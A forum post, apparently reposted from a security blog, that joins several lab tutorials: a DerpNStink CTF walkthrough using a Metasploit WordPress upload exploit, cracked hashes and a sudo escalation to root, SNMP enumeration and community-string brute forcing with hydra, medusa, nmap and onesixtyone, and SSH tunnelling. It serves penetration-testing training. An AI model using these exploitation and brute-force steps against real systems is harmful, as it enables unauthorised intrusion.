Login

**NINZA** · 05-14-2020, 08:28 AM

0			0

Hello friends! Today we are going to take another CTF challenge known as DerpNStink. The credit for making this vm machine goes to “Bryan Smith” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.102 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -p- -A 192.168.1.102 --open
1
nmap -p- -A 192.168.1.102 --open
[Image: 2.png?w=687&ssl=1]

Nmap scan tells us port 21,22 and 80 are open. As port 80 is running http server we open the ip in our browser and run dirb scan.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb scan shows that the server has wordpress, and when we open /weblog/ directory. When we open /weblog/ directory we get redirected to derpnstink.local/weblog/
[Image: 4.png?w=687&ssl=1]

So we add domain name in hosts file to get access to the site.
[Image: 5.png?w=687&ssl=1]

We first open the site using the domain to check if something has changed in website, when we take look at the source code of the page we find our first flag.
[Image: 6.1.png?w=687&ssl=1]

Now when we open

[To see content please register here]

we find that it a wordpress site.
[Image: 6.png?w=687&ssl=1]

We use wpscan to enumerate the plugins and themes and users.
wpscan –u

[To see content please register here]

--enumerate at --enumerate ap –enumerate u
1
wpscan –u

[To see content please register here]

--enumerate at --enumerate ap –enumerate u
[Image: 7.png?w=687&ssl=1]

Wpscan shows us that a plugin is exploitable.
[Image: 8.png?w=687&ssl=1]

We also find username and password to be admin for both.
[Image: 9.1.png?w=687&ssl=1]

We use metasploit to exploit this vulnerability.
msf > use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.1.102
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit
1
2
3
4
5
6
msf > use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.1.102
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit
[Image: 9.png?w=687&ssl=1]

After getting reverse shell we open wp-config.php and find the name of the database and the user required to access the database.
[Image: 10.png?w=687&ssl=1]

We find the username and password required through mysql.
[Image: 11.png?w=687&ssl=1]

We also find two directories we cannot access that also hints us the username.
[Image: 12.png?w=687&ssl=1]

We use the information we find in the wordpress configuration file to login through phpmyadmin.
[Image: 13.png?w=687&ssl=1]

After logging through phpmyadmin, we find two hashes in wordpress database.
[Image: 14.png?w=687&ssl=1]

We use john the ripper to crack the hashes and find a password for stinky as wedgie57.
[Image: 15.0.png?w=687&ssl=1]

When we login through wordpress using username stinky and password wedgie57, we find 2nd flag.
[Image: 15.1.png?w=687&ssl=1]

We now login to the system through user stinky and password wedgie57. Now going through the system we find our 3rd flag. We also find a pcap file.
[Image: 15.png?w=687&ssl=1]

Enumerating through the system we find a file called derpissues.txt that we hints us to use the pcap file we found earlier.
[Image: 16.png?w=687&ssl=1]

Going through the files we found a ssh key, but we were unable to login through ssh using this key.
[Image: 17.png?w=687&ssl=1]

Now we copy the pcap file into the ftp directory, to download the file into our system through ftp.
[Image: 18.png?w=687&ssl=1]

We connect to the target machine through ftp and download the pcap file into our system.
[Image: 19.png?w=687&ssl=1]

After download the file into our system we open it in wireshark and find the password for the other user.
[Image: 20.png?w=687&ssl=1]

Now we login as mrderp and take a look at the sudoers file and find that we can run a file that starts with derpy as root in /home/mrderp/binaries/derpy*
[Image: 21.png?w=687&ssl=1]

To run our file as root we create a directory called binaries in /home/mrderp/ directory

Now we create a bash script to spawn to bash shell and save it as derpy.sh
[Image: 23.png?w=687&ssl=1]

After creating the file we give it read write executable permission and run the file. As soon as we run the file we get the root shell. Going through the files in /root/Desktop directory we find a file called flag.txt, when we open it we find our 4th flag.
[Image: 24.png?w=687&ssl=1]

Simple Network Management Protocol (SNMP) is a protocol for network management. It is used for collecting information from and configuring, network devices, such as servers, printers, hubs, switches, and routers on an Internet Protocol (IP) network. It usually runs on UDP port 161.
Download from

[To see content please register here]

Create a New Virtual Machine using the VMware and change the Network Adapter to Bridged as shown in the given screenshot.
[Image: 1.PNG?w=687&ssl=1]

After completing the initial setup in the VMware Boot the Newly created Virtual Machine by clicking on the Power on the Virtual Machine.
The Default Login Credentials for Vyos are
Username: vyos
Password: vyos
1
2
Username: vyos
Password: vyos
The Initial Boot of Vyos will be as shown below:
[Image: 2.PNG?w=687&ssl=1]

This is a Live Boot of the vyos, so we will install the vyos to use it properly.
We will use the ISO image to install vyos. Type the following command:
install image
1
install image
[Image: 3.PNG?w=687&ssl=1]

Enter “Yes” where it asks to continue.
Next, it will ask about the partition management.
Enter “Auto” where it asks about Partition.
[Image: 4.PNG?w=687&ssl=1]

It will detect the drives in the Virtual System and ask you to select the particular drive in which you want to install vyos.
[Image: 5.PNG?w=687&ssl=1]

Enter “sda” where it asks about the location for installation.
Next, it will ask about the size for the root partition for the vyos.
[Image: 6.PNG?w=687&ssl=1]

You can enter any size from 1000MB to 21474MB. But it is recommended to keep it maximum i.e. 21474MB.
Next, it will ask about the name for the image.
[Image: 7.PNG?w=687&ssl=1]

By default, the name is set to the version number that is 1.1.8. You can either give a personalized name or you can leave it default.
Next, it will ask about the location to copy the sda.
[Image: 8.PNG?w=687&ssl=1]

It is recommended to keep it default.
After that, it will ask for the password to be kept for the administrator account.
By default, it is kept vyos. But from the security point of view, it is recommended to change it to something complex which is difficult to guess or brute force.
[Image: 9.PNG?w=687&ssl=1]

Now it will ask for the drive on which you want to set up GRUB Boot-loader? Again leave it to default to “sda”.
[Image: 10.PNG?w=687&ssl=1]

After that, we have completed the vyos setup. Reboot using the command
reboot
1
reboot
After reboot, it will ask for login credentials, Enter the credential that you entered during the installation.
Now we will configure the Network Interface. To do that, we will have to enter the configuration mode.
configure
1
configure
After entering into configuration mode set up the Network interface
Syntax: set interface ethernet [network interface] address [Static IPv4 Address]
set interface ethernet eth0 address 192.168.1.125/24
1
set interface ethernet eth0 address 192.168.1.125/24
Now Commit and Save the Configuration
commit
save
1
2
commit
save
After that type “exit” to get out of configuration mode and then reboot the machine using “reboot” command
We are rebooting because the configuration changes come in effect only after a reboot.
[Image: 11.PNG?w=687&ssl=1]

You can then view the interface which we configured by using the command
show interfaces
1
show interfaces
Note: Above command will run in configuration mode.
[Image: 12.PNG?w=687&ssl=1]

Start SNMP service
Now we will set up the SNMP service in the Vyos.
For that, we will enter configuration mode using the command
configure
1
configure
Now to set up the SNMP service we will need to add a community string and give it an authorization. To do that:
Syntax: set service SNMP community [community-string] authorization [auth-mode]
[community-string]: It can be anything but normally it is either public or private. But from a security point of view, it is recommended to keep it that cannot be easily guessed or brute-forced.
[auth-mode]: It is the Authorization Mode. We have two options

[ro]: Read Only Authorization (It can only be used to read or extract data, we can change it using this string)
[rw]: Read Write Authorization (It can be used to change the data using the string)

set service snmp community ignite123 authorization ro
set service snmp community ignite321 authorization rw
1
2
set service snmp community ignite123 authorization ro
set service snmp community ignite321 authorization rw
[Image: 13.PNG?w=687&ssl=1]

Now let’s set a user for the system.
Firstly Enter the Configuration Mode.
configure
1
configure
Now to add a user we will use the following command,
Syntax: set system login user [username] authentication plaintext-password [password]
set system login user ignite authentication plaintext-password ignite123
1
set system login user ignite authentication plaintext-password ignite123
After this commit the configuration and save it. Also, reboot the machine so that changes may take effect.
We have successfully completed the SNMP Lab in Vyos.
[Image: 14.PNG?w=687&ssl=1]

SNMP Enumeration using Kali Linux
Now that we have set up the SNMP service let’s pentest it through Kali Linux inbuilt tools one by one, where We can read and extract information using the community string that has the authorization of reading only but to change the information we will have to use the community string with the read and write authorization.
Nmap
Let’s check using nmap in Kali Linux Machine which is running on the same network.
nmap –sU –p161,162 192.168.1.125
1
nmap –sU –p161,162 192.168.1.125
[-sU]: UDP Ports as SNMP service runs on UDP port
[-p]: Specify Port Number; SNMP service runs on port 161 and 162
From given below image you can be observed that it has also shown port 161 is open.
[Image: 15.png?w=687&ssl=1]

Snmpwalk
snmpwalk is an SNMP application that uses SNMP GETNEXT requests to query a network entity for a tree of information.
snmpwalk -v1 -c ignite321 192.168.1.125
1
snmpwalk -v1 -c ignite321 192.168.1.125
Here
[-v]: Specifies what SNMP version to use (1, 2c, 3)

[-c]: Community String
From given below image you can observe all details that are specified for “STRING”
[Image: 16.png?w=687&ssl=1]

Snmpwalk
We can manipulate these details using the iso id, using another tool snmpset. Here we are renaming the host string from vyos to hacked
snmpset –v1 –c ignite321 192.168.1.125 iso.3.6.1.2.1.1.5.0.s Hacked
1
snmpset –v1 –c ignite321 192.168.1.125 iso.3.6.1.2.1.1.5.0.s Hacked
[Image: 17.png?w=687&ssl=1]

Let’s check if the changes we implemented had an effect using snmpwalk
snmpwalk –v1 –c ignite321 192.168.1.125
1
snmpwalk –v1 –c ignite321 192.168.1.125
As you can see that we have successfully change the hostname from vyos to hacked.
[Image: 18.png?w=687&ssl=1]

We can extract the number of information using snmpwalk
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.25.4.2.1.2
1
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.25.4.2.1.2
[Image: 19.png?w=687&ssl=1]

snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.6.13.1.3
1
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.6.13.1.3
[Image: 20.png?w=687&ssl=1]

snmpwalk -v1 –c ignite321 192.168.1.125 1.3.6.1.2.1.25.6.3.1.2
1
snmpwalk -v1 –c ignite321 192.168.1.125 1.3.6.1.2.1.25.6.3.1.2
[Image: 21.png?w=687&ssl=1]

As the data extracted by SNMP walk is quite large we can extract that into a text file by using the command below
snmpwalk –v1 -c ignite321 192.168.1.125 > snmpout.txt
1
snmpwalk –v1 -c ignite321 192.168.1.125 > snmpout.txt
We can use gedit to view the extracted information
gedit snmpout.txt
1
gedit snmpout.txt
[Image: 22.png?w=687&ssl=1]

SNMP-Check
Like to snmpwalk, SNMP-check allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring.
snmp-check 192.168.1.125 -p 161 -c ignite123
1
snmp-check 192.168.1.125 -p 161 -c ignite123
Here,
[-p]: To specify the port
[-c]: To specify Community String
[Image: 24.png?w=687&ssl=1]

Braa
Braa is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast.
Braa implements its OWN snmp stack, so it does NOT need any SNMP libraries like net-snmp.
Syntax: braa [Community-string]@[IP of SNMP server]:[iso id]
braa [email protected]:.1.3.6.*
1
braa [email protected]:.1.3.6.*
[Image: 25.png?w=687&ssl=1]

Metasploit
We can enumerate SNMP using a Metasploit module called snmp_enum.
use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_enum) > set community ignite123
msf auxiliary(scanner/snmp/snmp_enum) > run
1
2
3
4
use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_enum) > set community ignite123
msf auxiliary(scanner/snmp/snmp_enum) > run
We have fetched the same result from Metasploit as above.
[Image: 26.png?w=687&ssl=1]

In this article, we will learn how to gain control over our victim’s SNMP service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -P /root/Desktop/pass.txt 192.168.1.125 snmp
1
hydra -P /root/Desktop/pass.txt 192.168.1.125 snmp
-P: denotes the path for the password list
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the SNMP password as ignite123.
[Image: 1.png?w=687&ssl=1]

xHydra
This is the graphical version to apply dictionary attack via SNMP port to hack a system. For this method to work:
Open xHydra in your Kali. And select Single Target option and their give the IP of your victim PC. And select SNMP in the box against Protocol option and give the port number 161 against the port option.
[Image: 2.png?w=687&ssl=1]

Now, go to Passwords tab and in Username section check the box adjacent to Protocol doesn’t require a username.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 3.png?w=687&ssl=1]

Now go to the specific Tab and in the SNMP and clear the data written in the text box below the SNMP as shown in the given image.
[Image: 4.png?w=687&ssl=1]

When you will clear all entries it will look like as shown in the next image given below.
[Image: 5.png?w=687&ssl=1]

After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will obtain the password of your victim.
As you can see that we have the password ignite123 cracked.
[Image: 6.png?w=687&ssl=1]

Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, SNMP, and VNC to name a few
Run the following command
medusa -M snmp -h 192.168.1.125 –u ignite -P /root/Desktop/pass.txt
1
medusa -M snmp -h 192.168.1.125 –u ignite -P /root/Desktop/pass.txt
Here
-h: denotes host IP
-u: denote a particular user
But Brute forcing SNMP doesn’t require username but medusa doesn’t work without a proper syntax, you can use any username of your choice
–P: denotes the path for the password list
As you can observe that we had successfully grabbed the SNMP password as ignite123.
[Image: 7.png?w=687&ssl=1]

Metasploit
This module will test SNMP logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Open Kali terminal type msfconsole
use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login)> set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_login)> set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/snmp/snmp_login)> set stop_on_success true
msf auxiliary(scanner/snmp/snmp_login)> run
1
2
3
4
5
use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login)> set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_login)> set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/snmp/snmp_login)> set stop_on_success true
msf auxiliary(scanner/snmp/snmp_login)> run
From given below image you can observe that we had successfully grabbed the SNMP password.
[Image: 8.png?w=687&ssl=1]

Nmap
We can also crack the SNMP password using nmap, execute given below command.
nmap -sU –p 161 –n --script snmp-brute 192.168.1.125 --script-args snmp-brute.communitiesdb=/root/Desktop/pass.txt
1
nmap -sU –p 161 –n --script snmp-brute 192.168.1.125 --script-args snmp-brute.communitiesdb=/root/Desktop/pass.txt
As you can see above that we have the password cracked as ignite123.
[Image: 9.png?w=687&ssl=1]

Onesixtyone
Onesixtyone is an SNMP scanner that sends multiple SNMP requests to multiple IP addresses, trying different community strings and waiting for replies.
onesixtyone 192.168.1.125 -c /root/Desktop/pass.txt
1
onesixtyone 192.168.1.125 -c /root/Desktop/pass.txt
As you can see above that we have the password cracked as ignite123 using onesixtyone
[Image: 10.png?w=687&ssl=1]

Basically, tunneling is a process which allows data sharing or communication between two different networks privately. Tunneling is normally performed through encapsulating the private network data and protocol information inside the public network broadcast units so that the private network protocol information visible to the public network as data.
SSH Tunnel: Tunneling is the concept to encapsulate the network protocol to another protocol here we put into SSH, so all network communication is encrypted. Because tunneling involves repackaging the traffic data into a different form, perhaps with encryption as standard, a third use is to hide the nature of the traffic that is run through the tunnels.
Types of SSH Tunneling:

Dynamic SSH tunneling
Local SSH tunneling
Remote SSH tunneling

Let’s Begin!!
Objective: To establish an SSH connection between remote PC and the local system of the different network.
Here I have set my own lab which consists of three systems in the following network:
SSH server (two Ethernet interface)
IP 192.168.1.104 connected with the remote system
IP 192.168.10.1 connected to local network system 192.168.10.2
SSH client (local network) holds IP 192.168.10.2
Remote system (outside the network)
In the following image, we are trying to explain the SSH tunneling process where a remote PC is trying to connect to 192.168.10.2 which is on INTRANET of another network. To establish a connection with an SSH client (raj), remote PC will create an SSH tunnel which will connect with the local system via SSH server (Ignite).
NOTE: Service SSH must be activated
[Image: 0.jpg?w=687&ssl=1]

Given below image is describing the network configuration for SSH server where it is showing two IP 192.168.1.104 and another 192.168.10.1
[Image: 1.png?w=687&ssl=1]

Another image given below is describing network configuration for SSH client which is showing IP 192.168.10.2
[Image: 2.png?w=687&ssl=1]

Dynamic SSH Tunneling through Windows
Remote Pc is trying to connect to SSH server (192.168.1.104) via port 22 and get successful login inside the server. Here we had used putty for establishing a connection between SSH server (Ubuntu) and remote user (Windows).
[Image: 3.png?w=687&ssl=1]

Similarly now Remote PC trying to connect with Client PC (192.168.10.2) via port 22, since they belong to the different network, therefore, he receives network error.
[Image: 4.png?w=687&ssl=1]

Step for Dynamic SSH tunneling

Choose option SSH >Tunnel given in the left column of the category.
Give new port forwarded as 7000 and connection type as dynamic and click on ADD at last.

Now connect to SSH server 192.168.1.104 via port 22 and then click on open when all things get set.
[Image: 6.png?w=687&ssl=1]

First, it will connect to the SSH server as you can see we are connected with SSH server (Ignite).
[Image: 7.png?w=687&ssl=1]

Now login into putty again and give IP of client system as Host Name 192.168.10.2 and Port 22 for SSH then click on open.
[Image: 8.png?w=687&ssl=1]

The open previous running window of putty choose Proxy option from the category and follow given below step:

Select proxy type as SOCKS 5
Give proxy hostname as 127.0.0.1 and port 7000
Click on open to establish a connection.

Awesome!! We have successfully access SSH client (raj) via port 7000
[Image: 10.png?w=687&ssl=1]

Dynamic SSH Tunneling through Kali Linux on Port 80
Now we are employing Kali Linux for SSH tunneling and demonstrating how an attacker or Linux user can take the privilege of Tunneling and can establish an SSH connection with client systems.
ssh -D 7000 [email protected]
1
ssh -D 7000 [email protected]
Enter the user’s password for login and get access to the SSH server as shown below.
[Image: 11.png?w=687&ssl=1]

Next, we need to set a network proxy for enabling socksv5 and for that follow below steps.

In your web browser “Firefox” go to option for general setting tab and open Network Proxy.
Choose No Proxy
Enable socksv5

Add localhost, 127.0.0.1 as Manual proxy
[Image: 12.png?w=687&ssl=1]

So from given below image, you can perceive that now we able to connect with the client: 192.168.10.2 via port 80.
[Image: 13.png?w=687&ssl=1]

Dynamic SSH Tunneling through Kali Linux on Port 22
Now connect to client machine through given below command:
ssh -D 7000 [email protected]
1
ssh -D 7000 [email protected]
[Image: 14.png?w=687&ssl=1]

Install tsocks through apt repository using the command:
apt install tsocks
1
apt install tsocks
tsocks – Library for intercepting outgoing network connections and redirecting them through a SOCKS server.
[Image: 15.png?w=687&ssl=1]

Open the tsocks.conf file for editing socks server IP and port, in our case we need to mention below two lines and then save it.
Server = 127.0.0.1
Server_port = 7000
[Image: 16.png?w=687&ssl=1]

Now connect to SSH client with the help tsocks using given below command.
tsocks ssh [email protected]
1
tsocks ssh [email protected]
Enter the password and enjoy the access of SSH client.
[Image: 17.png?w=687&ssl=1]

Local SSH Tunneling through Windows
Local tunneling is a process to access a specific SSH client machine for communication. It let you establish the connection on a specific machine which is not connected from the internet.
The only difference between dynamic tunneling and local tunneling is that dynamic tunneling requires socks proxy for tunneling all TCP traffic and local tunneling only required destination IP address.
Step for SSH Local tunneling

Use putty to connect SSH server (192.168.1.104) via port 22 and choose option SSH >Tunnel given in the left column of the category.

Give new port forwarded as 7000 and connection type as local
Destination address as 198.168.10.2:22 for establishing a connection with the specific client and click on ADD at last.
Click on open when all things get set.

First, this will establish a connection between the remote pc and SSH server.
[Image: 20.png?w=687&ssl=1]

Open a new window of putty and follow given below step:

Give hostname as localhost and port 7000 and connection type SSH.
Click on open to establish a connection.

Awesome!! We have successfully access SSH client via port 7000
[Image: 22.png?w=687&ssl=1]

Local SSH Tunneling through Kali Linux
Now again we switch into Kali Linux for local tunneling which is quite easy as compared to dynamic. Execute given below command for forwarding port to the local machine.
ssh -L 7000:192.168.10.2:22 [email protected]
1
ssh -L 7000:192.168.10.2:22 [email protected]
[Image: 23.png?w=687&ssl=1]

Now open a new terminal and type below command for connecting to SSH client.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000
Awesome!! We have successfully access SSH client via port 7000
[Image: 24.png?w=687&ssl=1]

Remote SSH Tunneling through Putty
Remote tunneling is functional when a client machine wants to access a remote system which is outward from its network.
First, need to install putty in our SSH server (ignite) and then follow given steps.
Step for remote tunneling

Enter remote system IP 192.168.1.108
Mention port 22
Go to SSH>tunnel options

Give new port forwarded as 7000 and connection type as Remote
Destination address as 198.168.10.2:22for establishing a connection with the specific client and click on ADD at last.
Click on open when all things get set.

Now the server will get connected to Remote system as shown in below image.
[Image: 27.png?w=687&ssl=1]

Come back to the remote system and enter the following command to with SSH client machine.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000
From given below image you can observe that we had successfully connected with SSH client machine via port 7000.
[Image: 28.png?w=687&ssl=1]

Remote SSH Tunneling through Ubuntu
If you are not willing to use putty for remote tunneling then you can execute the following command
ssh -R 7000:192.168.10.2:22 [email protected]
1
ssh -R 7000:192.168.10.2:22 [email protected]
Here 192.168.1.10.2 is our local client (raj) IP and 192.168.1.108 is our remote system IP.
[Image: 29.png?w=687&ssl=1]

Come back to the remote system and enter the following command to with SSH client machine.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000
From given below image you can observe that we had successfully connected with SSH client machine via port 7000.
[Image: 30.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis